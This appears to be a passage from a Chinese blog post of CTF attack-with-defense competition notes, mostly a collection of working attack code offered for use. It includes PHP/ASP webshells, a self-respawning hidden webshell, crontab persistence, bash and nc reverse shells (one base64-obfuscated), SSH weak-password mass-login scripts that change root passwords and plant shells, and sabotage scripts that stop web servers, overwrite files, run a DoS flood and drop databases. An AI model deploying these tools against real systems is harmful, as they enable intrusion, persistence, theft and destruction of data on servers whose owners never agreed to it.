io = requests.get("https://ctf.bugku.com/awd/submit.html?token=c2c1e4d002daa9eea931888935b0dd86&flag=" + str(i))
# token 根据场景更改

写flag脚本(不同端口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding=utf-8
import requests
url_head="http://192.168.182.130" #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass" #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"

#清空上次记录
flag=open("flag.txt","w")
flag.close()

flag=open("flag.txt","a")


for i in range(8000,8004):
url=url_head+":"+str(i)+shell_addr
try:
res=requests.post(url,payload)#,timeout=1
if res.status_code == requests.codes.ok:
result = res.text
print (result)
flag.write(result+"\n")
else:
print ("shell 404")
except:
print (url+" connect shell fail")

flag.close()

一句话木马

1
2
3
php: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

蚁剑连接get型一句话木马:

1
2
3
4
<?php eval($_GET['pass']);

/shell.php?pass=eval($_POST[1]); # 把他转为post就行
连接密码:1

隐藏shell

如果我们直接将shell传到服务器上很容易被发现,然后被删除就完犊子了,我们需要一些操作隐藏起来

1.文件名前面添加一个小数点

shell.php改为.shell.php,文件就会隐藏起来

2.把shell.php命名为-shell.php

从上面可以看出,ls加参数才能查看到shell,那么我们直接写一个-shell.php、
命令行会把-后面的内容当成参数执行,执行即使被发现,使用rm命令进行删除,会被当成是rm的参数,就会发生报错,无法删除shell,目的也达到了

特殊的shell

1.md5木马

我们比赛在靶机上传一个马上去,我们不想要别人利用这个马借刀杀人,我们就需要添加一些利用条件:

1
2
3
4
5
<?php
if(md5($_POST['pass'])=='9640496584e50a9ec80af42ef4d5db75') { # leek0s
@eval($_POST['cmd']);
}
?>

不死马

不死马又名内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在进程里,无限执行

不死马.php上传到serverserver执行文件server本地无限循环生成 (一句话.php)

不死马实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.log.php';
$code = '<?php if(md5($_POST["passwd"])=="62dd82739980bf39a979ff8145868d75"){@eval($_REQUEST[1]);} ?>'; # md5(leek0s0616)
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" .log.php');
usleep(2000);
}
?>

# 传参:passwd=leek0s0616&1=

解释一下:

1
2
3
4
5
6
7
8
ignore_user_abort(true);   //设置与远程客户端断开后继续执行脚本
set_time_limit(0); //设置脚本最大的执行时间,0即没有时间限制
@unlink(__FILE__); //删除文件本身
$file = '.log.php'; //文件名是.log.php
$code = <?php ?>; //php代码
file_get_contents(file,code); //打开file文件,然后写入code
system('touch -m -d "2018-12-01 09:10:12" .log.php'); //修改文件修改时间
usleep(2000); //每隔2s写入一个新文件

权限维持

权限维持很重要,以后每一轮预留的后门都会减少,不要着急拿flag

crontab定时任务

crontab命令:

  • crontab -e:编辑当前用户的 crontab 文件。如果之前没有设置过 crontab,将会创建一个新的 crontab 文件。
  • crontab -l:列出当前用户的 crontab 文件中定义的所有任务。
  • crontab -r:删除当前用户的 crontab 文件,即移除所有已定义的任务。
  • crontab -i:删除当前用户的 crontab 文件前进行确认提示。
0x01.使用定时任务写马
1
system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'62dd82739980bf39a979ff8145868d75\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

pass=leek0s0616 来指定用户运行指定的定时任务

0x02.定时任务发送带有flag的请求

在bash中输入crontab -e

每2分钟向:http://ip:port/submit_flag 发送post请求,请求体中包含flag和token

1
*/2 * * * * curl ip:port/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
0x03.定时任务反弹shell
1
*/2 * * * * bash -i >& /dev/tcp/192.168.182.130/9996 0>&1

反弹shell

bash

1
2
3
bash -i >& /dev/tcp/192.168.182.130/9996 0>&1

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

nc

1
nc -e /bin/bash 192.168.99.242 1234

https://www.cnblogs.com/xiaozi/p/13493010.html

SSH弱密码利用

批量用户登入修改密码并写入webshell且获取flag值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
for i in range(2,255): # 这里可以改ip
try:
host = "4.4."+str(i)+".100" #
s=paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=host,port=22,username='root',password='123456')
stdin,stdout,stderr = s.exec_command('passwd\n') # 修改ssh密码
stdin.write("123456\nfxznb666\nfxznb666\n")
stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[leekos]);?>'>/var/www/html/.log.php")
stdin,stdout,stderr = s.exec_command('cat /flag') # 获得flag
print(host+':'+stdout.read().decode('utf-8'))
s.close()
except:
print(host+':Fails!')

单个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#-*- coding:utf-8 -*-
import paramiko
ip = '192.168.1.137'
port = '22'
username = 'root'
passwd = '123456'
# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd='cat /flag'): # 命令
port = int(port)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=port, username=username, password=passwd)
stdin,stdout,stderr = ssh.exec_command(cmd)
result = stdout.read()
if not result :
print("无结果!")
result = stderr.read()
ssh.close()
return result.decode()
a = ssh_base_pwd(ip,port,username,passwd)
print(a)

批量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反弹shell python
q=queue.Queue()
#lock = threading.Lock()

# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd):
port = int(port)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=ip, port=port, username=username, password=passwd)
stdin,stdout,stderr = ssh.exec_command(cmd)
result = stdout.read()
if not result :
result = stderr.read()
ssh.close()
return result.decode()

def main(x):
shell = '''
#服务器端
import socket
import os
s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',9996)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接
s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
con,addr=s.accept() #接受一个客户端的连接
#print(con,addr)
for i in range(10):
cmd=con.recv(1024)
print(cmd)
command=cmd.decode()
if command.startswith('cd'):
os.chdir(command[2:].strip()) #切换路径
result=os.getcwd() #显示路径
else:
result=os.popen(command).read()
if result:
con.send(result.encode())
else:
con.send(b'OK!')
'''
cmd = 'echo \"%s\" > ./.shell.py' % (shell) +'&& python3 ./.shell.py'
port = '22' #
username = 'root' #
passwd = 'toor' # passwd

ip = '192.168.1.{}'.format(x) # ip
q.put(ip.strip(),block=True, timeout=None)
ip_demo=q.get()
#判断是否成功
try:
#lock.acquire()
res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
if res:
print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
#lock.release()
ssh_base_pwd(ip_demo,port,username,passwd,cmd)
except:
print("[ - ]Ip: %s" % ip_demo +" is Failed")
if x > 255:
print("Finshed!!!!!!!!")
q.task_done()

#线程队列部分
th=[]
th_num=255
for x in range(th_num):
t=threading.Thread(target=main,args=(x,))
th.append(t)
for x in range(th_num):
th[x].start()
for x in range(th_num):
th[x].join()

#q.join()所有任务完成

攻击搅屎脚本

0x01.无线复制

1
2
3
4
5
6
7
8
<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(time().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>

0x02.无线停止apache2 和 nginx

1
2
3
4
5
6
#!/usr/bin/env sh
while [[ 1 ]]
do
service apache2 stop
service nginx stop
done &

最后加一个&代表可以在后台运行

0x03.循环删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
function getfiles($path){
foreach(glob($path) as $afile){
if(is_dir($afile))
getfiles($afile.'/*.php');
else
@file_put_contents($afile,"#on shit#");
//unlink($afile);
}
}
while(1){
getfiles(__DIR__);
sleep(10);
}
?>
1
2
3
4
5
<?php
set_time_limit(0);
ignore_user_abort(1);
array_map('unlink', glob("some/dir/*.php"));
?>

0x04.DDOS脚本(最好不要用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket
import time
import threading

max=90000000
port=80 #端口
host="192.168.92.154" #IP
page="/index.php"

bag=("POST %s HTTP/1.1\r\n"
"host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: 1998\r\n"
"\r\n" % (page,host))

socks = []

def connect():
global socks
for i in range(0,max):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((host,port))
s.send(bag.encode("utf-8"))
socks.append(s)
except Exception as ex:
time.sleep(1)

def send():
global socks
while True:
for s in socks:
try:
print("攻击中....")
except Exception as ex:
socks.remove(s)
s.close()
time.sleep(0.1)

One = threading.Thread(target=connect,args=())
Two = threading.Thread(target=send,args=())
One.start()
Two.start()

0x05.删除数据库

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
import base64
def rm_db(db_user,my_db_passwd):
cmd = "/usr/bin/mysql -h localhost -u%s %s -e '"%(db_user,my_db_passwd)
db_name = ['performance_schema','mysql','flag']
for db in db_name:
cmd += "drop database %s;"%db
cmd += "'"
return cmd

思维导图

img


CTF线下赛AWD知识点
https://leekosss.github.io/2023/08/24/CTF线下赛AWD知识点/
作者
leekos
发布于
2023年8月24日
更新于
2023年11月11日
许可协议